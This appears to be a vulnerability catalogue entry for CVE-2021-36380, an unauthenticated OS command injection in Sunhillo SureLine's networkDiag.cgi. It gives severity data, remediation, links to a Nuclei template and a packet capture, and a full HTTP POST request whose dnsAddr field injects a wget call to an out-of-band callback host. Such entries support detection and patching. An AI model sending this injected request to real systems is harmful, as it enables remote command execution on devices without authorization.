| Title | Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system. |
| Remediation | Upgrade to Sunhillo SureLine version 8.7.0.1.1 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93643 |
| CVE ID | CVE-2021-36380 |
| CWE ID | CWE-78 |
| Tags | cve2021 cve sureline rce oast sunhillo kev vkev vuln |
Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
POST /cgi/networkDiag.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Connection: close
Content-Length: 168
Accept-Encoding: gzip
command=2&ipAddr=&dnsAddr=$(wget+http://d5jnv39le0o2t97s3cb0w8ex8tkxwsr3y.oast.site)&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36380.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-36380.pcap
N/AN/A